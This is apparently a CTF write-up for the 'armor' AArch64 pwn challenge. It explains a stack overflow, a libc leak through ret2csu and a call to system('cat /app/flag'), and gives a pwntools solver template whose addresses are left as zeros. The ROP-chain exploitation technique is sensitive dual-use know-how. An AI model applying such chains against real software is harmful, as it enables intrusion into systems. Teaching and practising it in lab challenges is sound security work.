Armor Challenge — Writeup

This writeup explains how to solve the armor pwn challenge. The binary is AArch64, NX enabled, PIE disabled, and it contains a classic stack overflow in vuln() that lets us control main’s return address. The goal is to leak a libc address, compute system(), and run a command to read the flag.

Summary

We get a stack overflow in vuln() that can overwrite the saved return address of main. Because PIE is disabled, we can use fixed gadget addresses in the binary. The plan:

1. Locate the overflow and compute the offset to main’s saved LR.
2. Use ret2csu to call write() and leak write@libc.
3. Return to main and repeat the overflow.
4. Use ret2csu again to call read() into .bss and then call system("cat /app/flag") via a function pointer.

Binary Protections (checksec)

• Arch: aarch64-64-little
• Canary: not present
• NX: enabled
• PIE: disabled
• RELRO: partial

PIE is off, so gadget and PLT addresses are stable.

Vulnerability Analysis

Where the overflow happens

In the decompiled vuln():

1
int64_t vuln()
2
{
3
    void buf;
4
    read(0, &buf, 0x1f4);
5
    return 0;
6
}

The buffer lives on the stack, and read() allows 0x1f4 bytes, which overflows into saved registers and the caller’s frame.

Stack layout (important offsets)

From the AArch64 prologue in vuln():

1
stp x29, x30, [sp, #-0x80]!
2
mov x29, sp
3
add x0, x29, #0x18

• Local buffer starts at x29 + 0x18.
• vuln’s saved LR is at x29 + 0x8.
• We cannot reach vuln’s LR from the buffer, but we can overwrite main’s saved LR via the overflow.

Offsets (from buffer start):

• To main saved x29: 0x68
• To main saved x30: 0x70
• Next stack area for ROP chain: 0x98

Ret2CSU on AArch64

The binary has a usable CSU sequence in __libc_csu_init:

• Pop gadget at 0x40078c:

  • ldp x20, x21, [sp, #0x18]
  • ldp x22, x23, [sp, #0x28]
  • ldr x24, [sp, #0x38]
  • ldp x29, x30, [sp], #0x40
  • ret

• Call gadget at 0x400760:

  • loads function pointer from [x21 + x19*8] (with x19 = 0)
  • sets w0 = x22, x1 = x23, x2 = x24
  • blr x3

This lets us call any function whose pointer we can place in x21 (GOT entry or .bss).

Stage 1: Leak libc

We call write(1, write@got, 8) using ret2csu:

• x22 = 1 (fd)
• x23 = write@got (buf)
• x24 = 8 (len)
• x21 = write@got (function pointer)

The 8-byte leak gives write@libc. From that, we compute libc base and system().

Stage 2: Execute system()

We use ret2csu twice:

1. read(0, .bss, 0x80) to place data in .bss:

   • 8 bytes: system function pointer
   • 8 bytes: padding
   • command string: "cat /app/flag"\0

2. Call system(.bss+0x10) by setting:

   • x21 = .bss (function pointer table)
   • x22 = .bss + 0x10 (argument)

This runs the command and prints the flag.

End-to-End Strategy

1. Connect to the service.
2. Send stage-1 payload to leak write@libc.
3. Compute libc base and system().
4. Send stage-2 payload to call system("cat /app/flag").
5. Read output.

Solver (template — no addresses)

Below is a simplified solver showing the core logic. Fill in addresses from your analysis if you want to reproduce manually.

1
#!/usr/bin/env python3
2
from pwn import *
3

4
HOST = "tcp.flagyard.com"
5
PORT = 00000
6

7
context.arch = "aarch64"
8

9
# --- fill these from your analysis ---
10
POP_CSU = 0x0000000000000000
11
CSU_CALL = 0x0000000000000000
12
WRITE_GOT = 0x0000000000000000
13
READ_GOT = 0x0000000000000000
14
MAIN = 0x0000000000000000
15
BSS = 0x0000000000000000
16

17
OFFSET_SAVED_X29 = 0x00
18
OFFSET_SAVED_X30 = 0x00
19
OFFSET_CHAIN = 0x00
20

21
def start():
22
    return remote(HOST, PORT)
23

24
def csu_frame(x29, x30, x20, x21, x22, x23, x24):
25
    # Stack layout for the CSU pop gadget (0x40 bytes)
26
    return (
27
        p64(x29) +
28
        p64(x30) +
29
        p64(0) +  # padding to reach sp+0x18
30
        p64(x20) +
31
        p64(x21) +
32
        p64(x22) +
33
        p64(x23) +
34
        p64(x24)
35
    )
36

37
def stage1():
38
    # Leak write@libc via write(1, write@got, 8)
39
    payload = b"A" * OFFSET_SAVED_X29
40
    payload += p64(0)
41
    payload += p64(POP_CSU)
42
    payload += b"B" * (OFFSET_CHAIN - (OFFSET_SAVED_X30 + 8))
43
    payload += csu_frame(BSS, CSU_CALL, 1, WRITE_GOT, 1, WRITE_GOT, 8)
44
    payload += csu_frame(0, MAIN, 0, 0, 0, 0, 0)
45
    return payload
46

47
def stage2(system_addr, cmd):
48
    # Read command into .bss and call system(cmd)
49
    payload = b"A" * OFFSET_SAVED_X29
50
    payload += p64(0)
51
    payload += p64(POP_CSU)
52
    payload += b"B" * (OFFSET_CHAIN - (OFFSET_SAVED_X30 + 8))
53
    payload += csu_frame(BSS, CSU_CALL, 1, READ_GOT, 0, BSS, 0x80)
54
    payload += csu_frame(BSS, CSU_CALL, 1, BSS, BSS + 0x10, 0, 0)
55

56
    data = p64(system_addr) + b"\\x00" * 8 + cmd + b"\\x00"
57
    data = data.ljust(0x80, b"\\x00")
58
    return payload, data
59

60
def main():
61
    io = start()
62
    io.recvuntil(b"arm world!\\n")
63
    io.send(stage1())
64

65
    leak = io.recvn(8)
66
    write_addr = u64(leak)
67

68
    # --- fill these from your libc ---
69
    libc_write = 0x0000000000000000
70
    libc_system = 0x0000000000000000
71
    libc_base = write_addr - libc_write
72
    system_addr = libc_base + libc_system
73

74
    io.recvuntil(b"arm world!\\n")
75
    payload2, data = stage2(system_addr, b"cat /app/flag")
76
    io.send(payload2)
77
    io.send(data)
78

79
    out = io.recvall(timeout=2)
80
    if out:
81
        print(out.decode(errors="ignore"))
82

83
if __name__ == "__main__":
84
    main()

Notes

• NX is enabled, so no shellcode.
• PIE is disabled, so binary gadgets are stable.
• The overflow reaches main’s saved LR, not vuln’s.
• ret2csu works well on AArch64 when gadget variety is low.

Final Result